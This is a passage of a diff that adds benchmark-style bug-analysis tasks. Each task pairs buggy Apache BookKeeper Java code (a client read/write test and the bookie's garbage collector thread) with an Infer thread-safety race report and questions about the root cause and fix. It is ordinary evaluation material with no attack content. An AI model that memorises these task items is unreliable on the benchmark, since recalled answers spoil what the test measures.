+            LedgerHandle lhOpen = bkc.openLedgerNoRecovery(ledgerId, digestType, ledgerPassword);
+
+            /*
+             * We haven't written anything, so it should be empty.
+             */
+            LOG.debug("Checking that it is empty");
+            long readLastConfirmed = lhOpen.readLastConfirmed();
+            assertTrue("Last confirmed has the wrong value",
+                       readLastConfirmed == LedgerHandle.INVALID_ENTRY_ID);
+
+            /*
+             * Writing one entry.
+             */
+            LOG.debug("Going to write one entry");
+            ByteBuffer entry = ByteBuffer.allocate(4);
+            entry.putInt(rng.nextInt(maxInt));
+            entry.position(0);
+
+            entries.add(entry.array());
+            entriesSize.add(entry.array().length);
+            lh.addEntry(entry.array());
+
+            /*
+             * The hint should still indicate that there is no confirmed
+             * add.
+             */
+            LOG.debug("Checking that it is still empty even after writing one entry");
+            readLastConfirmed = lhOpen.readLastConfirmed();
+            assertTrue(readLastConfirmed == LedgerHandle.INVALID_ENTRY_ID);
+
+            /*
+             * Adding one more, and this time we should expect to
+             * see one entry.
+             */
+            entry = ByteBuffer.allocate(4);
+            entry.putInt(rng.nextInt(maxInt));
+            entry.position(0);
+
+            entries.add(entry.array());
+            entriesSize.add(entry.array().length);
+            lh.addEntry(entry.array());
+
+            LOG.info("Checking that it has an entry");
+            readLastConfirmed = lhOpen.readLastConfirmed();
+            assertTrue(readLastConfirmed == 0L);
+
+            // close ledger
+            lh.close();
+            // close read only ledger should not change metadata
+            lhOpen.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+
+    @Test
+    public void testLastConfirmedAdd() throws IOException {
+        try {
+            // Create a ledger
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.addEntry(entry.array());
+            }
+
+            long last = lh.readLastConfirmed();
+            assertTrue("Last confirmed add: " + last, last == (numEntriesToWrite - 2));
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+            /*
+             * Asynchronous call to read last confirmed entry
+             */
+            lh = bkc.createLedger(digestType, ledgerPassword);
+            // bkc.initMessageDigest("SHA1");
+            ledgerId = lh.getId();
+            LOG.info("Ledger ID: " + lh.getId());
+            for (int i = 0; i < numEntriesToWrite; i++) {
+                ByteBuffer entry = ByteBuffer.allocate(4);
+                entry.putInt(rng.nextInt(maxInt));
+                entry.position(0);
+
+                entries.add(entry.array());
+                entriesSize.add(entry.array().length);
+                lh.addEntry(entry.array());
+            }
+
+
+            SyncObj sync = new SyncObj();
+            lh.asyncReadLastConfirmed(this, sync);
+
+            // Wait for for last confirmed
+            synchronized (sync) {
+                while (sync.lastConfirmed == LedgerHandle.INVALID_ENTRY_ID) {
+                    LOG.debug("Counter = " + sync.lastConfirmed);
+                    sync.wait();
+                }
+            }
+
+            assertTrue("Last confirmed add: " + sync.lastConfirmed, sync.lastConfirmed == (numEntriesToWrite - 2));
+
+            LOG.debug("*** WRITE COMPLETE ***");
+            // close ledger
+            lh.close();
+        } catch (BKException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to BookKeeper exception");
+        } catch (InterruptedException e) {
+            LOG.error("Test failed", e);
+            fail("Test failed due to interruption");
+        }
+    }
+
+
+    @Override
+    public void addComplete(int rc, LedgerHandle lh, long entryId, Object ctx) {
+        if(rc != BKException.Code.OK) fail("Return code is not OK: " + rc);
+
+        SyncObj x = (SyncObj) ctx;
+
+        synchronized (x) {
+            x.counter++;
+            x.notify();
+        }
+    }
+
+    @Override
+    public void readComplete(int rc, LedgerHandle lh, Enumeration<LedgerEntry> seq, Object ctx) {
+        if(rc != BKException.Code.OK) fail("Return code is not OK: " + rc);
+
+        ls = seq;
+
+        synchronized (sync) {
+            sync.value = true;
+            sync.notify();
+        }
+    }
+
+    @Override
+    public void readLastConfirmedComplete(int rc, long lastConfirmed, Object ctx) {
+        SyncObj sync = (SyncObj) ctx;
+
+        synchronized(sync) {
+            sync.lastConfirmed = lastConfirmed;
+            sync.notify();
+        }
+    }
+
+    @Override
+    @Before
+    public void setUp() throws Exception {
+        super.setUp();
+        rng = new Random(System.currentTimeMillis()); // Initialize the Random
+        // Number Generator
+        entries = new ArrayList<byte[]>(); // initialize the entries list
+        entriesSize = new ArrayList<Integer>();
+        sync = new SyncObj(); // initialize the synchronization data structure
+
+    }
+
+    /* Clean up a directory recursively */
+    protected boolean cleanUpDir(File dir) {
+        if (dir.isDirectory()) {
+            LOG.info("Cleaning up " + dir.getName());
+            String[] children = dir.list();
+            for (String string : children) {
+                boolean success = cleanUpDir(new File(dir, string));
+                if (!success)
+                    return false;
+            }
+        }
+        // The directory is now empty so delete it
+        return dir.delete();
+    }
+
+    /* User for testing purposes, void */
+    class emptyWatcher implements Watcher {
+        @Override
+        public void process(WatchedEvent event) {
+        }
+    }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.apache.bookkeeper.test.BookieReadWriteTest.testSyncReadAsyncWriteStringsSingleClient` reads without synchronization from `this.org.apache.bookkeeper.test.BookieReadWriteTest.sync`. Potentially races with write in method `BookieReadWriteTest.setUp()`.
+ Reporting because this access may occur on a background thread.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void BookieReadWriteTest.testSyncReadAsyncWriteStringsSingleClient()
+
+### Procedure Id:
+org.apache.bookkeeper.test.BookieReadWriteTest.testSyncReadAsyncWriteStringsSingleClient():void.6679f098748ca8245d03352878999fe6
+
+### File:
+bookkeeper-server/src/test/java/org/apache/bookkeeper/test/BookieReadWriteTest.java
+
+### Key:
+BookieReadWriteTest.java|testSyncReadAsyncWriteStringsSingleClient|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+5bbe564585e636c79edb2478e74da451
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7142/instruction.md b/inferredbugs-7142/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..06f50872f2722a7431501f54ba67357c3a269106
--- /dev/null
+++ b/inferredbugs-7142/instruction.md
@@ -0,0 +1,593 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** bookkeeper
+**Bug ID:** 44
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/**
+ *
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ *
+ */
+
+package org.apache.bookkeeper.bookie;
+
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.Comparator;
+import java.util.List;
+import java.util.Map;
+import java.util.concurrent.ConcurrentHashMap;
+import java.util.concurrent.atomic.AtomicBoolean;
+
+import org.apache.bookkeeper.bookie.EntryLogger.EntryLogScanner;
+import org.apache.bookkeeper.bookie.GarbageCollector.GarbageCleaner;
+import org.apache.bookkeeper.conf.ServerConfiguration;
+import org.apache.bookkeeper.meta.LedgerManager;
+import org.apache.bookkeeper.util.MathUtils;
+import org.apache.bookkeeper.util.SnapshotMap;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+
+/**
+ * This is the garbage collector thread that runs in the background to
+ * remove any entry log files that no longer contains any active ledger.
+ */
+public class GarbageCollectorThread extends Thread {
+    private static final Logger LOG = LoggerFactory.getLogger(GarbageCollectorThread.class);
+
+    private static final int SECOND = 1000;
+
+    // Maps entry log files to the set of ledgers that comprise the file and the size usage per ledger
+    private Map<Long, EntryLogMetadata> entryLogMetaMap = new ConcurrentHashMap<Long, EntryLogMetadata>();
+
+    // This is how often we want to run the Garbage Collector Thread (in milliseconds).
+    final long gcWaitTime;
+
+    // Compaction parameters
+    boolean enableMinorCompaction = false;
+    final double minorCompactionThreshold;
+    final long minorCompactionInterval;
+
+    boolean enableMajorCompaction = false;
+    final double majorCompactionThreshold;
+    final long majorCompactionInterval;
+
+    long lastMinorCompactionTime;
+    long lastMajorCompactionTime;
+
+    // Entry Logger Handle
+    final EntryLogger entryLogger;
+    final EntryLogScanner scanner;
+
+    // Ledger Cache Handle
+    final LedgerCache ledgerCache;
+    final SnapshotMap<Long, Boolean> activeLedgers;
+
+    // flag to ensure gc thread will not be interrupted during compaction
+    // to reduce the risk getting entry log corrupted
+    final AtomicBoolean compacting = new AtomicBoolean(false);
+
+    volatile boolean running = true;
+
+    // track the last scanned successfully log id
+    long scannedLogId = 0;
+
+    final GarbageCollector garbageCollector;
+    final GarbageCleaner garbageCleaner;
+
+    /**
+     * A scanner wrapper to check whether a ledger is alive in an entry log file
+     */
+    class CompactionScanner implements EntryLogScanner {
+        EntryLogMetadata meta;
+
+        public CompactionScanner(EntryLogMetadata meta) {
+            this.meta = meta;
+        }
+
+        @Override
+        public boolean accept(long ledgerId) {
+            return meta.containsLedger(ledgerId) && scanner.accept(ledgerId);
+        }
+
+        @Override
+        public void process(long ledgerId, long offset, ByteBuffer entry)
+            throws IOException {
+            scanner.process(ledgerId, offset, entry);
+        }
+    }
+
+
+    /**
+     * Create a garbage collector thread.
+     *
+     * @param conf
+     *          Server Configuration Object.
+     * @throws IOException
+     */
+    public GarbageCollectorThread(ServerConfiguration conf,
+                                  final LedgerCache ledgerCache,
+                                  EntryLogger entryLogger,
+                                  SnapshotMap<Long, Boolean> activeLedgers,
+                                  EntryLogScanner scanner,
+                                  LedgerManager ledgerManager)
+        throws IOException {
+        super("GarbageCollectorThread");
+
+        this.ledgerCache = ledgerCache;
+        this.entryLogger = entryLogger;
+        this.activeLedgers = activeLedgers;
+        this.scanner = scanner;
+
+        this.gcWaitTime = conf.getGcWaitTime();
+
+        this.garbageCleaner = new GarbageCollector.GarbageCleaner() {
+            @Override
+            public void clean(long ledgerId) {
+                try {
+                    if (LOG.isDebugEnabled()) {
+                        LOG.debug("delete ledger : " + ledgerId);
+                    }
+                    ledgerCache.deleteLedger(ledgerId);
+                } catch (IOException e) {
+                    LOG.error("Exception when deleting the ledger index file on the Bookie: ", e);
+                }
+            }
+        };
+
+        this.garbageCollector = new ScanAndCompareGarbageCollector(ledgerManager, activeLedgers);
+
+        // compaction parameters
+        minorCompactionThreshold = conf.getMinorCompactionThreshold();
+        minorCompactionInterval = conf.getMinorCompactionInterval() * SECOND;
+        majorCompactionThreshold = conf.getMajorCompactionThreshold();
+        majorCompactionInterval = conf.getMajorCompactionInterval() * SECOND;
+
+        if (minorCompactionInterval > 0 && minorCompactionThreshold > 0) {
+            if (minorCompactionThreshold > 1.0f) {
+                throw new IOException("Invalid minor compaction threshold "
+                                    + minorCompactionThreshold);
+            }
+            if (minorCompactionInterval <= gcWaitTime) {
+                throw new IOException("Too short minor compaction interval : "
+                                    + minorCompactionInterval);
+            }
+            enableMinorCompaction = true;
+        }
+
+        if (majorCompactionInterval > 0 && majorCompactionThreshold > 0) {
+            if (majorCompactionThreshold > 1.0f) {
+                throw new IOException("Invalid major compaction threshold "
+                                    + majorCompactionThreshold);
+            }
+            if (majorCompactionInterval <= gcWaitTime) {
+                throw new IOException("Too short major compaction interval : "
+                                    + majorCompactionInterval);
+            }
+            enableMajorCompaction = true;
+        }
+
+        if (enableMinorCompaction && enableMajorCompaction) {
+            if (minorCompactionInterval >= majorCompactionInterval ||
+                minorCompactionThreshold >= majorCompactionThreshold) {
+                throw new IOException("Invalid minor/major compaction settings : minor ("
+                                    + minorCompactionThreshold + ", " + minorCompactionInterval
+                                    + "), major (" + majorCompactionThreshold + ", "
+                                    + majorCompactionInterval + ")");
+            }
+        }
+
+        LOG.info("Minor Compaction : enabled=" + enableMinorCompaction + ", threshold="
+               + minorCompactionThreshold + ", interval=" + minorCompactionInterval);
+        LOG.info("Major Compaction : enabled=" + enableMajorCompaction + ", threshold="
+               + majorCompactionThreshold + ", interval=" + majorCompactionInterval);
+
+        lastMinorCompactionTime = lastMajorCompactionTime = MathUtils.now();
+    }
+
+    @Override
+    public void run() {
+        while (running) {
+            synchronized (this) {
+                try {
+                    wait(gcWaitTime);
+                } catch (InterruptedException e) {
+                    Thread.currentThread().interrupt();
+                    continue;
+                }
+            }
+
+            // Extract all of the ledger ID's that comprise all of the entry logs
+            // (except for the current new one which is still being written to).
+            entryLogMetaMap = extractMetaFromEntryLogs(entryLogMetaMap);
+
+            // gc inactive/deleted ledgers
+            doGcLedgers();
+
+            // gc entry logs
+            doGcEntryLogs();
+
+            long curTime = MathUtils.now();
+            if (enableMajorCompaction &&
+                curTime - lastMajorCompactionTime > majorCompactionInterval) {
+                // enter major compaction
+                LOG.info("Enter major compaction");
+                doCompactEntryLogs(majorCompactionThreshold);
+                lastMajorCompactionTime = MathUtils.now();
+                // also move minor compaction time
+                lastMinorCompactionTime = lastMajorCompactionTime;
+                continue;
+            }
+
+            if (enableMinorCompaction &&
+                curTime - lastMinorCompactionTime > minorCompactionInterval) {
+                // enter minor compaction
+                LOG.info("Enter minor compaction");
+                doCompactEntryLogs(minorCompactionThreshold);
+                lastMinorCompactionTime = MathUtils.now();
+            }
+        }
+    }
+
+    /**
+     * Do garbage collection ledger index files
+     */
+    private void doGcLedgers() {
+        garbageCollector.gc(garbageCleaner);
+    }
+
+    /**
+     * Garbage collect those entry loggers which are not associated with any active ledgers
+     */
+    private void doGcEntryLogs() {
+        // Loop through all of the entry logs and remove the non-active ledgers.
+        for (Long entryLogId : entryLogMetaMap.keySet()) {
+            EntryLogMetadata meta = entryLogMetaMap.get(entryLogId);
+            for (Long entryLogLedger : meta.ledgersMap.keySet()) {
+                // Remove the entry log ledger from the set if it isn't active.
+                if (!activeLedgers.containsKey(entryLogLedger)) {
+                    meta.removeLedger(entryLogLedger);
+                }
+            }
+            if (meta.isEmpty()) {
+                // This means the entry log is not associated with any active ledgers anymore.
+                // We can remove this entry log file now.
+                LOG.info("Deleting entryLogId " + entryLogId + " as it has no active ledgers!");
+                removeEntryLog(entryLogId);
+            }
+        }
+    }
+
+    /**
+     * Compact entry logs if necessary.
+     *
+     * <p>
+     * Compaction will be executed from low unused space to high unused space.
+     * Those entry log files whose remaining size percentage is higher than threshold
+     * would not be compacted.
+     * </p>
+     */
+    private void doCompactEntryLogs(double threshold) {
+        LOG.info("Do compaction to compact those files lower than " + threshold);
+        // sort the ledger meta by occupied unused space
+        Comparator<EntryLogMetadata> sizeComparator = new Comparator<EntryLogMetadata>() {
+            @Override
+            public int compare(EntryLogMetadata m1, EntryLogMetadata m2) {
+                long unusedSize1 = m1.totalSize - m1.remainingSize;
+                long unusedSize2 = m2.totalSize - m2.remainingSize;
+                if (unusedSize1 > unusedSize2) {
+                    return -1;
+                } else if (unusedSize1 < unusedSize2) {
+                    return 1;
+                } else {
+                    return 0;
+                }
+            }
+        };
+        List<EntryLogMetadata> logsToCompact = new ArrayList<EntryLogMetadata>();
+        logsToCompact.addAll(entryLogMetaMap.values());
+        Collections.sort(logsToCompact, sizeComparator);
+        for (EntryLogMetadata meta : logsToCompact) {
+            if (meta.getUsage() >= threshold) {
+                break;
+            }
+            LOG.debug("Compacting entry log {} below threshold {}.", meta.entryLogId, threshold);
+            compactEntryLog(meta.entryLogId);
+            if (!running) { // if gc thread is not running, stop compaction
+                return;
+            }
+        }
+    }
+
+    /**
+     * Shutdown the garbage collector thread.
+     *
+     * @throws InterruptedException if there is an exception stopping gc thread.
+     */
+    public void shutdown() throws InterruptedException {
+        this.running = false;
+        if (compacting.compareAndSet(false, true)) {
+            // if setting compacting flag succeed, means gcThread is not compacting now
+            // it is safe to interrupt itself now
+            this.interrupt();
+        }
+        this.join();
+    }
+
+    /**
+     * Remove entry log.
+     *
+     * @param entryLogId
+     *          Entry Log File Id
+     */
+    private void removeEntryLog(long entryLogId) {
+        // remove entry log file successfully
+        if (entryLogger.removeEntryLog(entryLogId)) {
+            entryLogMetaMap.remove(entryLogId);
+        }
+    }
+
+    /**
+     * Compact an entry log.
+     *
+     * @param entryLogId
+     *          Entry Log File Id
+     */
+    protected void compactEntryLog(long entryLogId) {
+        EntryLogMetadata entryLogMeta = entryLogMetaMap.get(entryLogId);
+        if (null == entryLogMeta) {
+            LOG.warn("Can't get entry log meta when compacting entry log " + entryLogId + ".");
+            return;
+        }
+
+        // Similar with Sync Thread
+        // try to mark compacting flag to make sure it would not be interrupted
+        // by shutdown during compaction. otherwise it will receive
+        // ClosedByInterruptException which may cause index file & entry logger
+        // closed and corrupted.
+        if (!compacting.compareAndSet(false, true)) {
+            // set compacting flag failed, means compacting is true now
+            // indicates another thread wants to interrupt gc thread to exit
+            return;
+        }
+
+        LOG.info("Compacting entry log : " + entryLogId);
+
+        try {
+            entryLogger.scanEntryLog(entryLogId, new CompactionScanner(entryLogMeta));
+            // after moving entries to new entry log, remove this old one
+            removeEntryLog(entryLogId);
+        } catch (IOException e) {
+            LOG.info("Premature exception when compacting " + entryLogId, e);
+        } finally {
+            // clear compacting flag
+            compacting.set(false);
+        }
+    }
+
+    /**
+     * Records the total size, remaining size and the set of ledgers that comprise a entry log.
+     */
+    static class EntryLogMetadata {
+        long entryLogId;
+        long totalSize;
+        long remainingSize;
+        ConcurrentHashMap<Long, Long> ledgersMap;
+
+        public EntryLogMetadata(long logId) {
+            this.entryLogId = logId;
+
+            totalSize = remainingSize = 0;
+            ledgersMap = new ConcurrentHashMap<Long, Long>();
+        }
+
+        public void addLedgerSize(long ledgerId, long size) {
+            totalSize += size;
+            remainingSize += size;
+            Long ledgerSize = ledgersMap.get(ledgerId);
+            if (null == ledgerSize) {
+                ledgerSize = 0L;
+            }
+            ledgerSize += size;
+            ledgersMap.put(ledgerId, ledgerSize);
+        }
+
+        public void removeLedger(long ledgerId) {
+            Long size = ledgersMap.remove(ledgerId);
+            if (null == size) {
+                return;
+            }
+            remainingSize -= size;
+        }
+
+        public boolean containsLedger(long ledgerId) {
+            return ledgersMap.containsKey(ledgerId);
+        }
+
+        public double getUsage() {
+            if (totalSize == 0L) {
+                return 0.0f;
+            }
+            return (double)remainingSize / totalSize;
+        }
+
+        public boolean isEmpty() {
+            return ledgersMap.isEmpty();
+        }
+
+        @Override
+        public String toString() {
+            StringBuilder sb = new StringBuilder();
+            sb.append("{ totalSize = ").append(totalSize).append(", remainingSize = ")
+              .append(remainingSize).append(", ledgersMap = ").append(ledgersMap).append(" }");
+            return sb.toString();
+        }
+    }
+
+    /**
+     * A scanner used to extract entry log meta from entry log files.
+     */
+    static class ExtractionScanner implements EntryLogScanner {
+        EntryLogMetadata meta;
+
+        public ExtractionScanner(EntryLogMetadata meta) {
+            this.meta = meta;
+        }
+
+        @Override
+        public boolean accept(long ledgerId) {
+            return true;
+        }
+        @Override
+        public void process(long ledgerId, long offset, ByteBuffer entry) {
+            // add new entry size of a ledger to entry log meta
+            meta.addLedgerSize(ledgerId, entry.limit() + 4);
+        }
+    }
+
+    /**
+     * Method to read in all of the entry logs (those that we haven't done so yet),
+     * and find the set of ledger ID's that make up each entry log file.
+     *
+     * @param entryLogMetaMap
+     *          Existing EntryLogs to Meta
+     * @throws IOException
+     */
+    protected Map<Long, EntryLogMetadata> extractMetaFromEntryLogs(Map<Long, EntryLogMetadata> entryLogMetaMap) {
+        // Extract it for every entry log except for the current one.
+        // Entry Log ID's are just a long value that starts at 0 and increments
+        // by 1 when the log fills up and we roll to a new one.
+        long curLogId = entryLogger.getCurrentLogId();
+        boolean hasExceptionWhenScan = false;
+        for (long entryLogId = scannedLogId; entryLogId < curLogId; entryLogId++) {
+            // Comb the current entry log file if it has not already been extracted.
+            if (entryLogMetaMap.containsKey(entryLogId)) {
+                continue;
+            }
+
+            // check whether log file exists or not
+            // if it doesn't exist, this log file might have been garbage collected.
+            if (!entryLogger.logExists(entryLogId)) {
+                continue;
+            }
+
+            LOG.info("Extracting entry log meta from entryLogId: " + entryLogId);
+
+            try {
+                // Read through the entry log file and extract the entry log meta
+                EntryLogMetadata entryLogMeta = extractMetaFromEntryLog(entryLogger, entryLogId);
+                entryLogMetaMap.put(entryLogId, entryLogMeta);
+            } catch (IOException e) {
+                hasExceptionWhenScan = true;
+                LOG.warn("Premature exception when processing " + entryLogId +
+                         " recovery will take care of the problem", e);
+            }
+
+            // if scan failed on some entry log, we don't move 'scannedLogId' to next id
+            // if scan succeed, we don't need to scan it again during next gc run,
+            // we move 'scannedLogId' to next id
+            if (!hasExceptionWhenScan) {
+                ++scannedLogId;
+            }
+        }
+        return entryLogMetaMap;
+    }
+
+    static EntryLogMetadata extractMetaFromEntryLog(EntryLogger entryLogger, long entryLogId)
+            throws IOException {
+        EntryLogMetadata entryLogMeta = new EntryLogMetadata(entryLogId);
+        ExtractionScanner scanner = new ExtractionScanner(entryLogMeta);
+        // Read through the entry log file and extract the entry log meta
+        entryLogger.scanEntryLog(entryLogId, scanner);
+        LOG.info("Retrieved entry log meta data entryLogId: "
+                 + entryLogId + ", meta: " + entryLogMeta);
+        return entryLogMeta;
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+THREAD_SAFETY_VIOLATION
+
+### Qualifier:
+Read/Write race. Non-private method `org.apache.bookkeeper.bookie.GarbageCollectorThread.compactEntryLog` reads without synchronization from `this.org.apache.bookkeeper.bookie.GarbageCollectorThread.entryLogMetaMap`. Potentially races with write in method `GarbageCollectorThread.run()`.
+ Reporting because another access to the same memory occurs on a background thread, although this access may not.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void GarbageCollectorThread.compactEntryLog(long)
+
+### Procedure Id:
+org.apache.bookkeeper.bookie.GarbageCollectorThread.compactEntryLog(long):void.688c41624834d6128134c29b32660f6d
+
+### File:
+bookkeeper-server/src/main/java/org/apache/bookkeeper/bookie/GarbageCollectorThread.java
+
+### Key:
+GarbageCollectorThread.java|compactEntryLog|THREAD_SAFETY_VIOLATION
+
+### Node Key:
+9c5d6d9028928346cc4fb44cced5dea1
+
+### Hash:
+780cab8fbdb379721445909a9e8ef045
+
+### Bug Type Hum:
+Thread Safety Violation
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-7145/instruction.md b/inferredbugs-7145/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..46cd9decd10c65ed852d7da5fbc57fdd6be5d9be
--- /dev/null
+++ b/inferredbugs-7145/instruction.md
@@ -0,0 +1,1202 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** bookkeeper
+**Bug ID:** 36
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.apache.bookkeeper.test;
+
+/*
+ *
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ *
+ */
+
+import java.io.File;
+import java.io.IOException;
+import java.lang.NoSuchFieldException;
+import java.lang.IllegalAccessException;
+import java.lang.reflect.Field;
+import java.nio.ByteBuffer;
+import java.nio.charset.Charset;
+import java.util.ArrayList;
+import java.util.Enumeration;
+import java.util.Random;
+import java.util.Set;
+import java.util.Arrays;
+import java.util.concurrent.Semaphore;
+
+
+import org.apache.bookkeeper.client.AsyncCallback.AddCallback;
+import org.apache.bookkeeper.client.AsyncCallback.ReadCallback;
+import org.apache.bookkeeper.client.AsyncCallback.ReadLastConfirmedCallback;
+import org.apache.bookkeeper.client.BKException;
+import org.apache.bookkeeper.client.BookKeeper;
+import org.apache.bookkeeper.client.LedgerEntry;
+import org.apache.bookkeeper.client.LedgerHandle;
+import org.apache.bookkeeper.client.BookKeeper.DigestType;
+import org.apache.bookkeeper.streaming.LedgerInputStream;
+import org.apache.bookkeeper.streaming.LedgerOutputStream;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.apache.zookeeper.WatchedEvent;
+import org.apache.zookeeper.Watcher;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+/**
+ * This test tests read and write, synchronous and asynchronous, strings and
+ * integers for a BookKeeper client. The test deployment uses a ZooKeeper server
+ * and three BookKeepers.
+ *
+ */
+
+public class BookieReadWriteTest extends MultiLedgerManagerMultiDigestTestCase
+    implements AddCallback, ReadCallback, ReadLastConfirmedCallback {
+
+    // Depending on the taste, select the amount of logging
+    // by decommenting one of the two lines below
+    // static Logger LOG = Logger.getRootLogger();
+    static Logger LOG = LoggerFactory.getLogger(BookieReadWriteTest.class);
+
+    byte[] ledgerPassword = "aaa".getBytes();
+    LedgerHandle lh, lh2;
+    long ledgerId;
+    Enumeration<LedgerEntry> ls;
+
+    // test related variables
+    int numEntriesToWrite = 200;
+    int maxInt = 2147483647;
+    Random rng; // Random Number Generator
+    ArrayList<byte[]> entries; // generated entries
+    ArrayList<Integer> entriesSize;
+
+    DigestType digestType;
+
+    public BookieReadWriteTest(String ledgerManagerFactory, DigestType digestType) {
+        super(3);
+        this.digestType = digestType;
+        // set ledger manager
+        baseConf.setLedgerManagerFactoryClassName(ledgerManagerFactory);
+        baseClientConf.setLedgerManagerFactoryClassName(ledgerManagerFactory);
+    }
+    // Synchronization
+    SyncObj sync;
+    Set<Object> syncObjs;
+
+    class SyncObj {
+        long lastConfirmed;
+        volatile int counter;
+        boolean value;
+
+        public SyncObj() {
+            counter = 0;
+            lastConfirmed = LedgerHandle.INVALID_ENTRY_ID;
+            value = false;
+        }
+    }
+
+    @Test
+    public void testOpenException() throws IOException, InterruptedException {
+        try {
+            lh = bkc.openLedger(0, digestType, ledgerPassword);
+            fail("Haven't thrown exception");
+        } catch (BKException e) {
+            LOG.warn("Successfully thrown and caught exception:", e);
+        }
+    }
+
+    /**
+     * test the streaming api for reading and writing
+     *
+     * @throws {@link IOException}
+     */
+    @Test
+    public void testStreamingClients() throws IOException, BKException, InterruptedException {
+        lh = bkc.createLedger(digestType, ledgerPassword);
+        // write a string so that we cna
+        // create a buffer of a single bytes
+        // and check for corner cases
+        String toWrite = "we need to check for this string to match " + "and for the record mahadev is the best";
+        LedgerOutputStream lout = new LedgerOutputStream(lh, 1);
+        byte[] b = toWrite.getBytes();
+        lout.write(b);
+        lout.close();
+        long lId = lh.getId();
+        lh.close();
+        // check for sanity
+        lh = bkc.openLedger(lId, digestType, ledgerPassword);
+        LedgerInputStream lin = new LedgerInputStream(lh, 1);
+        byte[] bread = new byte[b.length];
+        int read = 0;
+        while (read < b.length) {
+            read = read + lin.read(bread, read, b.length);
+        }
+
+        String newString = new String(bread);
+        assertTrue("these two should same", toWrite.equals(newString));
+        lin.close();
+        lh.close();
+        // create another ledger to write one byte at a time
+        lh = bkc.createLedger(digestType, ledgerPassword);
+        lout = new LedgerOutputStream(lh);
+        for (int i = 0; i < b.length; i++) {
+            lout.write(b[i]);
+        }
+        lout.close();
+        lId = lh.getId();
+        lh.close();
+        lh = bkc.openLedger(lId, digestType, ledgerPassword);
+        lin = new LedgerInputStream(lh);
+        bread = new byte[b.length];
+        read = 0;
+        while (read < b.length) {
+            read = read + lin.read(bread, read, b.length);
+        }
+        newString = new String(bread);
+        assertTrue("these two should be same ", toWrite.equals(newString));
+        lin.close();
+        lh.close();
+    }
+
+    @Test
+    public void testReadWriteAsyncSingleClient() throws IOException {
